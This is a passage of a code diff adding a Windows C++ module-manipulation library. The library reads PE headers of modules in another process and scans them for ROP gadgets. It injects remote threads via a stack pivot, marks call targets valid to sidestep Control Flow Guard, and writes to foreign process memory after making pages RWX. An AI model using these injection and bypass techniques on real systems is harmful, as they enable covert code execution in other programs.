<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<Lib>
|
||||
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<Lib>
|
||||
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="moduleManipulation.h" />
|
||||
<ClInclude Include="public.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="moduleManipulation.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="utils.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,724 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
#include <exception>
|
||||
#include <sstream>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
|
||||
#include "moduleManipulation.h"
|
||||
#include "public.h"
|
||||
|
||||
#include <string>
|
||||
#include <locale>
|
||||
#include <codecvt>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
std::map<moduleInMemory::ROPGadgetInfo, unsigned long long> moduleInMemory::gadgetCache;
|
||||
|
||||
section::section()
|
||||
{
|
||||
name = std::wstring(L"(none)");
|
||||
Characteristics = VirtualAddress = VirtualSize = 0;
|
||||
};
|
||||
|
||||
section::section(IMAGE_SECTION_HEADER* hdr)
|
||||
{
|
||||
// Convert the section name to unicode so we can use it.
|
||||
// Don't forget that the section name doesn't need to be null-terminated - if it is
|
||||
// 8 bytes long then we must not read any further.
|
||||
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
|
||||
std::wstring secName = std::wstring(converter.from_bytes((char*)hdr->Name, (char*)&hdr->Name[7]));
|
||||
size_t nullPos = secName.find(L'\0');
|
||||
if (nullPos != secName.npos)
|
||||
secName = secName.substr(0, nullPos);
|
||||
name = secName;
|
||||
Characteristics = hdr->Characteristics;
|
||||
PhysicalAddress = hdr->Misc.PhysicalAddress;
|
||||
VirtualAddress = hdr->VirtualAddress;
|
||||
VirtualSize = hdr->Misc.VirtualSize;
|
||||
}
|
||||
|
||||
relocation::relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize)
|
||||
{
|
||||
targetSite = newTargetSite;
|
||||
fixedUpValue = newFixedUpValue;
|
||||
size = newSize;
|
||||
}
|
||||
|
||||
exportedFunc::exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName)
|
||||
{
|
||||
this->functionName = functionName;
|
||||
this->functionPointerSite = 0;
|
||||
this->functionPointerRVA = 0;
|
||||
this->forwardedModuleName = forwardedModuleName;
|
||||
this->forwardedFunctionName = forwardedFunctionName;
|
||||
isForwarded = TRUE;
|
||||
};
|
||||
|
||||
exportedFunc::exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA)
|
||||
{
|
||||
this->functionName = functionName;
|
||||
this->functionPointerSite = functionPointerSite;
|
||||
this->functionPointerRVA = functionPointerRVA;
|
||||
isForwarded = FALSE;
|
||||
};
|
||||
|
||||
|
||||
importedFunc::importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA)
|
||||
: exportedFunc(functionName, functionPointerSite, functionPointerRVA)
|
||||
{
|
||||
this->moduleName = moduleName;
|
||||
};
|
||||
|
||||
moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName) : targetProcess(targetProcessHandle)
|
||||
{
|
||||
unsigned char* moduleBase = getModuleBase(targetProcess, targetModuleName.c_str());
|
||||
if (moduleBase == NULL)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to find module " << targetModuleName;
|
||||
throw errorMaker::wruntime_error(os.str());
|
||||
}
|
||||
targetModuleBase = moduleBase;
|
||||
|
||||
commonInit();
|
||||
}
|
||||
|
||||
moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase) : targetProcess(targetProcessHandle), targetModuleBase(targetModuleBase)
|
||||
{
|
||||
commonInit();
|
||||
}
|
||||
|
||||
void moduleInMemory::commonInit()
|
||||
{
|
||||
// Load an unexported function we need in order to disable CFG
|
||||
SetProcessValidCallTargets_ = (SetProcessValidCallTargetsType)GetProcAddress(LoadLibrary(L"Kernelbase"), "SetProcessValidCallTargets");
|
||||
if (SetProcessValidCallTargets_ == NULL)
|
||||
throw std::exception("Cannot resolve Kernelbase!SetProcessValidCallTargets\n");
|
||||
|
||||
processModule();
|
||||
}
|
||||
|
||||
unsigned long long moduleInMemory::resolveExport(std::wstring importName)
|
||||
{
|
||||
exportedFunc* exp = this->getExport(importName.c_str());
|
||||
|
||||
if (!exp->isForwarded)
|
||||
return exp->functionPointerRVA + ((unsigned long long)this->targetModuleBase);
|
||||
|
||||
moduleInMemory* forwardModule = NULL;
|
||||
while (exp->isForwarded)
|
||||
{
|
||||
moduleInMemory* tmp2 = new moduleInMemory(targetProcess, getModuleBase(targetProcess, exp->forwardedModuleName.c_str()));
|
||||
exp = tmp2->getExport(exp->forwardedFunctionName);
|
||||
if (forwardModule != NULL)
|
||||
delete forwardModule;
|
||||
forwardModule = tmp2;
|
||||
}
|
||||
unsigned long long toRet;
|
||||
toRet = exp->functionPointerRVA + ((unsigned long long)forwardModule->targetModuleBase);
|
||||
delete forwardModule;
|
||||
return toRet;
|
||||
}
|
||||
|
||||
unsigned long long moduleInMemory::locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen)
|
||||
{
|
||||
ROPGadgetInfo toFind(this->targetModuleBase, bytesToFind, bytesToFindLen);
|
||||
|
||||
// First, try our cache
|
||||
std::map<ROPGadgetInfo, unsigned long long>::iterator it = gadgetCache.find(toFind);
|
||||
if (it != gadgetCache.end())
|
||||
{
|
||||
// It's in the cache, so try that. The cache might be dirty so do check it before we return, and fall back to searching again if it
|
||||
// isn't what we expect.
|
||||
unsigned char* buf = (unsigned char*)malloc(toFind.bytesToFindLen);
|
||||
readFromModule((*it).second - ((unsigned long long)targetModuleBase), buf, bytesToFindLen);
|
||||
if (memcmp(buf, toFind.bytesToFind, bytesToFindLen) == 0)
|
||||
return (*it).second;
|
||||
}
|
||||
// Nope, not in the cache (or the cache is dirty).
|
||||
unsigned long long toRet = locateROPGadgetUncached(&toFind);
|
||||
gadgetCache.insert(std::pair<ROPGadgetInfo, unsigned long long>(toFind, toRet));
|
||||
return toRet;
|
||||
}
|
||||
|
||||
unsigned long long moduleInMemory::locateROPGadgetUncached(ROPGadgetInfo* toFind)
|
||||
{
|
||||
for (unsigned int sectIdx = 0; sectIdx < sections.size(); sectIdx++)
|
||||
{
|
||||
section* sect = §ions[sectIdx];
|
||||
if (!(sect->Characteristics & IMAGE_SCN_MEM_EXECUTE))
|
||||
continue;
|
||||
|
||||
unsigned char* buf = (unsigned char*)malloc(toFind->bytesToFindLen);
|
||||
for (unsigned int bytePtr = 0; bytePtr < sect->VirtualSize - toFind->bytesToFindLen; bytePtr++)
|
||||
{
|
||||
readFromModule(sect->VirtualAddress + bytePtr, buf, toFind->bytesToFindLen);
|
||||
if (memcmp(buf, toFind->bytesToFind, toFind->bytesToFindLen) == 0)
|
||||
return sect->VirtualAddress + bytePtr + ((unsigned long long)targetModuleBase);
|
||||
}
|
||||
}
|
||||
throw std::exception("Cannot locate ROP gadget :(");
|
||||
}
|
||||
|
||||
unsigned long long moduleInMemory::addModuleBase(unsigned long long toAdd)
|
||||
{
|
||||
return (((unsigned long long)targetModuleBase) + toAdd);
|
||||
}
|
||||
|
||||
void moduleInMemory::injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn)
|
||||
{
|
||||
// The based address we're calling
|
||||
unsigned long long targetAddress = addModuleBase(startRVA);
|
||||
|
||||
// Allocate a stack for our injected thread.
|
||||
stackBuilder stack(targetProcess, 0x10000);
|
||||
|
||||
// We will need to find a couple functions from kernelbase.dll, which our "shellcode" will use.
|
||||
moduleInMemory kernelBase(targetProcess, L"kernelbase.dll");
|
||||
unsigned long long exitThread = kernelBase.resolveExport(L"ExitThread");
|
||||
|
||||
stack.push(exitThread);
|
||||
stack.push(targetAddress);
|
||||
|
||||
stack.writeToProcess();
|
||||
|
||||
// Make a new thread, suspended. We will set its stack and RIP values later on, before we resume it. We just supply bogus ones here.
|
||||
DWORD tid;
|
||||
HANDLE s = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)NULL, NULL, CREATE_SUSPENDED, &tid);
|
||||
if (!s)
|
||||
throw std::runtime_error("CreateRemoteThread failed");
|
||||
|
||||
// Somewhat annoyingly, we can't alter the stack pointer via SetThreadContext until the new thread has been resumed. We need to use a
|
||||
// ROP-style stack pivot in order to set it.
|
||||
// We use this gadget:
|
||||
// 49 8b e3 mov rsp, r11
|
||||
// 41 5e pop r14
|
||||
// c3 ret
|
||||
unsigned char gadgetCode[] = {
|
||||
0x49, 0x8b, 0xe3,
|
||||
0x41, 0x5e,
|
||||
0xc3
|
||||
};
|
||||
unsigned long long stackPivot = kernelBase.locateROPGadget(gadgetCode, sizeof(gadgetCode));
|
||||
|
||||
// We can now set our new thread to the RIP location we want, and set registers with any arguments.
|
||||
CONTEXT ctx;
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
if (!GetThreadContext(s, &ctx))
|
||||
throw std::runtime_error("GetThreadContext failed");
|
||||
|
||||
if (argCount > 0)
|
||||
ctx.Rcx = args[0];
|
||||
if (argCount > 1)
|
||||
ctx.Rdx = args[1];
|
||||
if (argCount > 2)
|
||||
ctx.R8 = args[2];
|
||||
if (argCount > 3)
|
||||
ctx.R9 = args[3];
|
||||
ctx.R11 = stack.getPtrToTopOfStack() - 8;
|
||||
ctx.Rip = stackPivot;
|
||||
|
||||
SetThreadContext(s, &ctx);
|
||||
|
||||
ResumeThread(s);
|
||||
|
||||
if (waitForReturn)
|
||||
WaitForSingleObject(s, INFINITE);
|
||||
}
|
||||
|
||||
void moduleInMemory::markCFGValid(unsigned long long ptrToMarkValid)
|
||||
{
|
||||
CFG_CALL_TARGET_INFO info;
|
||||
info.Flags = CFG_CALL_TARGET_VALID;
|
||||
info.Offset = ptrToMarkValid;
|
||||
|
||||
if (!SetProcessValidCallTargets_(targetProcess, (void*)targetModuleBase, sizeOfImage, 1, &info))
|
||||
throw std::exception("SetProcessValidCallTargets failed");
|
||||
}
|
||||
|
||||
section* moduleInMemory::getSectionForAddress(unsigned long long toFind)
|
||||
{
|
||||
unsigned long long RVA = toFind - (unsigned long long)targetModuleBase;
|
||||
for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++)
|
||||
{
|
||||
section sect = sections[sectIndex];
|
||||
if (RVA >= sect.VirtualAddress &&
|
||||
RVA <= sect.VirtualAddress + sect.VirtualSize)
|
||||
{
|
||||
return §ions[sectIndex];
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
section* moduleInMemory::getSectionByName(std::wstring toFind)
|
||||
{
|
||||
for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++)
|
||||
{
|
||||
section sect = sections[sectIndex];
|
||||
if (sect.name == toFind.c_str())
|
||||
return §ions[sectIndex];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void moduleInMemory::readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead)
|
||||
{
|
||||
SIZE_T bytesActuallyRead;
|
||||
int s = ReadProcessMemory(targetProcess, &((unsigned char*)targetModuleBase)[srcAddress], outBuf, bytesToRead, &bytesActuallyRead);
|
||||
if (!s)
|
||||
{
|
||||
std::ostringstream os("");
|
||||
os << "Failed ReadProcessMemory of " << bytesToRead << " bytes starting from " << std::hex << targetModuleBase << "+" << srcAddress <<
|
||||
" : read only " << std::dec << bytesActuallyRead << " of " << bytesToRead << ", GLE " << GetLastError();
|
||||
throw std::runtime_error(os.str());
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring moduleInMemory::readStringFromModule(unsigned long long srcAddress)
|
||||
{
|
||||
std::wostringstream os;
|
||||
|
||||
// Pretty ineffecient since we read a byte at a time.
|
||||
int n = 0;
|
||||
char moduleNameLetter;
|
||||
do
|
||||
{
|
||||
readFromModule(srcAddress + n, &moduleNameLetter, 1);
|
||||
if (moduleNameLetter != 0)
|
||||
os << moduleNameLetter;
|
||||
n++;
|
||||
} while (moduleNameLetter != 0);
|
||||
|
||||
return os.str();
|
||||
}
|
||||
|
||||
void moduleInMemory::writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite)
|
||||
{
|
||||
unsigned long long srcCursor = (unsigned long long)srcData;
|
||||
unsigned long long dstBased = (unsigned long long)&((unsigned char*)targetModuleBase)[destAddress];
|
||||
|
||||
// Write a page at a time, checking and changing permissions if needed.
|
||||
while (bytesToWrite > 0)
|
||||
{
|
||||
unsigned long long toWriteThisPage = bytesToWrite;
|
||||
if (toWriteThisPage > 0x1000)
|
||||
toWriteThisPage = 0x1000;
|
||||
|
||||
// printf("Write 0x%08llx bytes at 0x%016llx\n", toWriteThisPage, dstBased);
|
||||
|
||||
// Make it writable
|
||||
DWORD oldPerms;
|
||||
if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, PAGE_EXECUTE_READWRITE, &oldPerms))
|
||||
throw std::runtime_error("oh no");
|
||||
|
||||
writeToModuleWithoutPermissionCheck((void*)srcCursor, dstBased, toWriteThisPage);
|
||||
|
||||
// Restore the previous permissions
|
||||
if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, oldPerms, &oldPerms))
|
||||
throw std::runtime_error("oh no");
|
||||
|
||||
if (bytesToWrite < toWriteThisPage)
|
||||
break;
|
||||
bytesToWrite -= toWriteThisPage;
|
||||
srcCursor += toWriteThisPage;
|
||||
dstBased += toWriteThisPage;
|
||||
}
|
||||
}
|
||||
|
||||
importedFunc* moduleInMemory::getImport(std::wstring moduleName, std::wstring functionName)
|
||||
{
|
||||
for (unsigned int n = 0; n < imports.size(); n++)
|
||||
{
|
||||
if ((imports[n].functionName == functionName) &&
|
||||
(imports[n].moduleName == moduleName))
|
||||
return &imports[n];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL moduleInMemory::hasExport(std::wstring functionName)
|
||||
{
|
||||
for (unsigned int n = 0; n < exports.size(); n++)
|
||||
{
|
||||
if (exports[n].functionName == functionName)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
exportedFunc* moduleInMemory::getExport(std::wstring functionName)
|
||||
{
|
||||
for (unsigned int n = 0; n < exports.size(); n++)
|
||||
{
|
||||
if (exports[n].functionName == functionName)
|
||||
return &exports[n];
|
||||
}
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to find export '" << functionName << "' ";
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
|
||||
moduleInMemory::moduleInMemory()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void moduleInMemory::processModule()
|
||||
{
|
||||
IMAGE_DOS_HEADER mz;
|
||||
readFromModule(0, &mz, sizeof(mz));
|
||||
if (mz.e_magic != IMAGE_DOS_SIGNATURE)
|
||||
throw std::runtime_error("Module has incorrect MZ signature");
|
||||
|
||||
IMAGE_NT_HEADERS pe;
|
||||
readFromModule(mz.e_lfanew, &pe, sizeof(pe));
|
||||
if (pe.Signature != IMAGE_NT_SIGNATURE)
|
||||
throw std::runtime_error("Module has incorrect PE signature");
|
||||
|
||||
this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint;
|
||||
|
||||
// Sections start directly after the PE.
|
||||
unsigned long long sectPtr = mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader;
|
||||
|
||||
for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++)
|
||||
{
|
||||
IMAGE_SECTION_HEADER sect;
|
||||
readFromModule(sectPtr, §, sizeof(IMAGE_SECTION_HEADER));
|
||||
sections.push_back(section(§));
|
||||
sectPtr += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
setPEFeatures(&pe);
|
||||
processModuleImports(&pe);
|
||||
processModuleExports(&pe);
|
||||
processModuleRelocs(&pe);
|
||||
processModuleTLSCallbacks(&pe);
|
||||
}
|
||||
|
||||
void moduleInMemory::setPEFeatures(IMAGE_NT_HEADERS *pe)
|
||||
{
|
||||
preferredBaseAddress = pe->OptionalHeader.ImageBase;
|
||||
sizeOfImage = pe->OptionalHeader.SizeOfImage;
|
||||
unsigned int numOfDataDirectories = pe->OptionalHeader.NumberOfRvaAndSizes;
|
||||
hasImports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
hasExports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_EXPORT);
|
||||
hasTLS = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_TLS);
|
||||
// Some compilers emit a zero'ed out TLS data directory to signify the absence of TLS data.
|
||||
if (hasTLS)
|
||||
{
|
||||
if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size == 0)
|
||||
hasTLS = false;
|
||||
}
|
||||
}
|
||||
|
||||
void moduleInMemory::processModuleImports(IMAGE_NT_HEADERS *pe)
|
||||
{
|
||||
if (!hasImports)
|
||||
return;
|
||||
|
||||
unsigned long long impDescPtr;
|
||||
impDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (impDescPtr == 0)
|
||||
return;
|
||||
while (true)
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR impDesc;
|
||||
readFromModule(impDescPtr, &impDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR));
|
||||
if (impDesc.Name == 0)
|
||||
break;
|
||||
|
||||
std::wstring importedModuleName = readStringFromModule((unsigned long long)impDesc.Name);
|
||||
// TODO: detect / handle imports by ordinal, forwarded imports
|
||||
DWORD oft = impDesc.OriginalFirstThunk;
|
||||
DWORD ft = impDesc.FirstThunk;
|
||||
do
|
||||
{
|
||||
DWORD thunkDataRVA;
|
||||
readFromModule(oft, (void*)&thunkDataRVA, sizeof(DWORD));
|
||||
if (thunkDataRVA == 0)
|
||||
break;
|
||||
|
||||
unsigned long long pointerSite = ft + pe->OptionalHeader.ImageBase;
|
||||
|
||||
std::wstring importedFunctionName = readStringFromModule((unsigned long long)thunkDataRVA + 2);
|
||||
// printf("Function import from module '%s' of function '%s': pointer is stored at RVA 0x%08lux\n", importedModuleName.c_str(), importedFunctionName.c_str(), ft);
|
||||
importedFunc f(importedModuleName, importedFunctionName, pointerSite, (unsigned long long)ft);
|
||||
imports.push_back(f);
|
||||
oft += 8;
|
||||
ft += 8;
|
||||
} while (true);
|
||||
|
||||
impDescPtr += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
}
|
||||
|
||||
void moduleInMemory::processModuleExports(IMAGE_NT_HEADERS *pe)
|
||||
{
|
||||
if (!hasExports)
|
||||
return;
|
||||
|
||||
unsigned long long expDescPtr;
|
||||
unsigned long long expDescLimit;
|
||||
expDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
expDescLimit = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
|
||||
if (expDescPtr == 0)
|
||||
return;
|
||||
IMAGE_EXPORT_DIRECTORY expDesc;
|
||||
readFromModule(expDescPtr, &expDesc, sizeof(IMAGE_EXPORT_DIRECTORY));
|
||||
if (expDesc.Name == 0)
|
||||
return;
|
||||
|
||||
std::wstring exportName = readStringFromModule((unsigned long long)expDesc.Name);
|
||||
unsigned int functionCount = 0;
|
||||
DWORD functions = expDesc.AddressOfFunctions;
|
||||
// Read name ordinals into memory, it makes things simpler
|
||||
USHORT* nameOrdinals = (USHORT*)malloc(expDesc.NumberOfFunctions * sizeof(USHORT));
|
||||
readFromModule(expDesc.AddressOfNameOrdinals, nameOrdinals, expDesc.NumberOfFunctions * sizeof(USHORT));
|
||||
|
||||
for (unsigned int funcIdx = 0; funcIdx < expDesc.NumberOfNames; funcIdx++)
|
||||
{
|
||||
DWORD funcNameRVA = expDesc.AddressOfNames + (funcIdx * sizeof(DWORD));
|
||||
readFromModule(funcNameRVA, (void*)&funcNameRVA, sizeof(DWORD));
|
||||
|
||||
unsigned long long exportedCodePtr = expDesc.AddressOfFunctions + (nameOrdinals[funcIdx] * sizeof(DWORD));
|
||||
unsigned long long exportedCodeRVA = 0;
|
||||
|
||||
readFromModule(exportedCodePtr, (void*)&exportedCodeRVA, sizeof(DWORD));
|
||||
unsigned long long exportedCode = exportedCodeRVA + (unsigned long long)targetModuleBase;
|
||||
std::wstring exportedFunctionName = readStringFromModule(funcNameRVA);
|
||||
|
||||
// If the exported function is outside the export table, it's a forwarded export.
|
||||
if (exportedCodeRVA >= expDescPtr && exportedCodeRVA < expDescLimit)
|
||||
{
|
||||
std::wstring forwardString = readStringFromModule(exportedCodeRVA);
|
||||
SIZE_T dotPos = forwardString.find(L".");
|
||||
std::wstring forwardedModule = forwardString.substr(0, dotPos);
|
||||
std::wstring forwardedFunction = forwardString.substr(dotPos + 1, forwardString.size());
|
||||
exportedFunc f(exportedFunctionName, forwardedModule, forwardedFunction);
|
||||
exports.push_back(f);
|
||||
}
|
||||
else
|
||||
{
|
||||
exportedFunc f(exportedFunctionName, exportedCode, exportedCodeRVA);
|
||||
exports.push_back(f);
|
||||
}
|
||||
};
|
||||
free(nameOrdinals);
|
||||
}
|
||||
|
||||
void moduleInMemory::processModuleRelocs(IMAGE_NT_HEADERS *pe)
|
||||
{
|
||||
unsigned long long relocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
if (relocsPtr == NULL)
|
||||
return;
|
||||
|
||||
unsigned long long endOfRelocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
while (relocsPtr < endOfRelocsPtr)
|
||||
{
|
||||
IMAGE_BASE_RELOCATION relocBlock;
|
||||
readFromModule(relocsPtr, &relocBlock, sizeof(IMAGE_BASE_RELOCATION));
|
||||
unsigned long long blockData = relocsPtr + sizeof(IMAGE_BASE_RELOCATION);
|
||||
for (unsigned int relocIndex = 0; relocIndex < (relocBlock.SizeOfBlock - 8) / sizeof(WORD); relocIndex++)
|
||||
{
|
||||
unsigned short relocAndType;
|
||||
readFromModule(blockData, &relocAndType, sizeof(unsigned short));
|
||||
|
||||
unsigned char relocType = (relocAndType >> 12);
|
||||
unsigned short relocVal = (relocAndType & 0x0fff);
|
||||
if (relocType == IMAGE_REL_BASED_ABSOLUTE)
|
||||
{
|
||||
// .. nothing to do for this type
|
||||
}
|
||||
else if (relocType == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
unsigned long long relocAddr = relocBlock.VirtualAddress + relocVal;
|
||||
// unsigned long long toAdd = ((unsigned long long)targetModuleBase) - pe->OptionalHeader.ImageBase;
|
||||
|
||||
relocs.push_back(relocation(relocAddr, 0, sizeof(unsigned long long)));
|
||||
}
|
||||
else
|
||||
{
|
||||
throw std::runtime_error("Unrecognised relocation type");
|
||||
}
|
||||
relocsPtr += 2;
|
||||
blockData += 2;
|
||||
}
|
||||
relocsPtr += sizeof(IMAGE_BASE_RELOCATION);
|
||||
}
|
||||
}
|
||||
|
||||
void moduleInMemory::processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe)
|
||||
{
|
||||
if (!hasTLS)
|
||||
return;
|
||||
|
||||
unsigned long long tlsTablePtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
|
||||
if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size != sizeof(IMAGE_TLS_DIRECTORY))
|
||||
throw std::runtime_error("Module has TLS entry not of sizeof(IMAGE_TLS_DIRECTORY)");
|
||||
|
||||
IMAGE_TLS_DIRECTORY tlsDir;
|
||||
readFromModule(tlsTablePtr, &tlsDir, sizeof(IMAGE_TLS_DIRECTORY));
|
||||
|
||||
unsigned long long callbackCursor = tlsDir.AddressOfCallBacks - ((unsigned long long)targetModuleBase);
|
||||
while (true)
|
||||
{
|
||||
unsigned long long callbackAddress;
|
||||
readFromModule(callbackCursor, &callbackAddress, sizeof(unsigned long long));
|
||||
if (callbackAddress == NULL)
|
||||
break;
|
||||
TLSCallbacks.push_back(callbackAddress - ((unsigned long long)targetModuleBase));
|
||||
callbackCursor += sizeof(unsigned long long);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void moduleInMemory::writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite)
|
||||
{
|
||||
SIZE_T bytesActuallyWritten;
|
||||
int s = WriteProcessMemory(targetProcess, (void*)dstBased, srcData, bytesToWrite, &bytesActuallyWritten);
|
||||
if (!s)
|
||||
{
|
||||
std::ostringstream os("");
|
||||
os << "Failed WriteProcessMemory of " << bytesToWrite << " bytes starting from " << std::hex << dstBased <<
|
||||
" : wrote only " << std::dec << bytesActuallyWritten << " of " << bytesToWrite << ", GLE " << GetLastError();
|
||||
throw std::runtime_error(os.str());
|
||||
}
|
||||
}
|
||||
|
||||
moduleFromDisk::moduleFromDisk(LPCWSTR filename)
|
||||
{
|
||||
fhnd = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (fhnd == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::ostringstream os("");
|
||||
os << "Unable to open file '" << filename << "', GLE reported error code " << GetLastError();
|
||||
throw std::runtime_error(os.str());
|
||||
}
|
||||
|
||||
IMAGE_DOS_HEADER mz;
|
||||
readFromFile(0, &mz, sizeof(mz));
|
||||
if (mz.e_magic != IMAGE_DOS_SIGNATURE)
|
||||
throw std::runtime_error("Module has incorrect MZ signature");
|
||||
|
||||
IMAGE_NT_HEADERS pe;
|
||||
readFromFile(mz.e_lfanew, &pe, sizeof(pe));
|
||||
if (pe.Signature != IMAGE_NT_SIGNATURE)
|
||||
throw std::runtime_error("Module has incorrect PE signature");
|
||||
|
||||
this->targetProcess = GetCurrentProcess();
|
||||
this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint;
|
||||
|
||||
// Alloc enough memory for the whole image
|
||||
this->targetModuleBase = VirtualAlloc((void*)pe.OptionalHeader.ImageBase, pe.OptionalHeader.SizeOfImage, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
|
||||
if (this->targetModuleBase == NULL)
|
||||
throw std::runtime_error("Unable to allocate space for image");
|
||||
if (this->targetModuleBase != (void*)pe.OptionalHeader.ImageBase)
|
||||
throw std::runtime_error("Couldn't load image at preferred base address");
|
||||
|
||||
// Load the headers at the start of the loaded range
|
||||
readFromFile(0, this->targetModuleBase, pe.OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// Load each section
|
||||
unsigned char* sectionPtr = (unsigned char*)this->targetModuleBase;
|
||||
sectionPtr += mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader;
|
||||
IMAGE_SECTION_HEADER* sections = (IMAGE_SECTION_HEADER*)sectionPtr;
|
||||
for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++)
|
||||
{
|
||||
IMAGE_SECTION_HEADER sect;
|
||||
memcpy(§, §ions[sectionIndex], sizeof(IMAGE_SECTION_HEADER));
|
||||
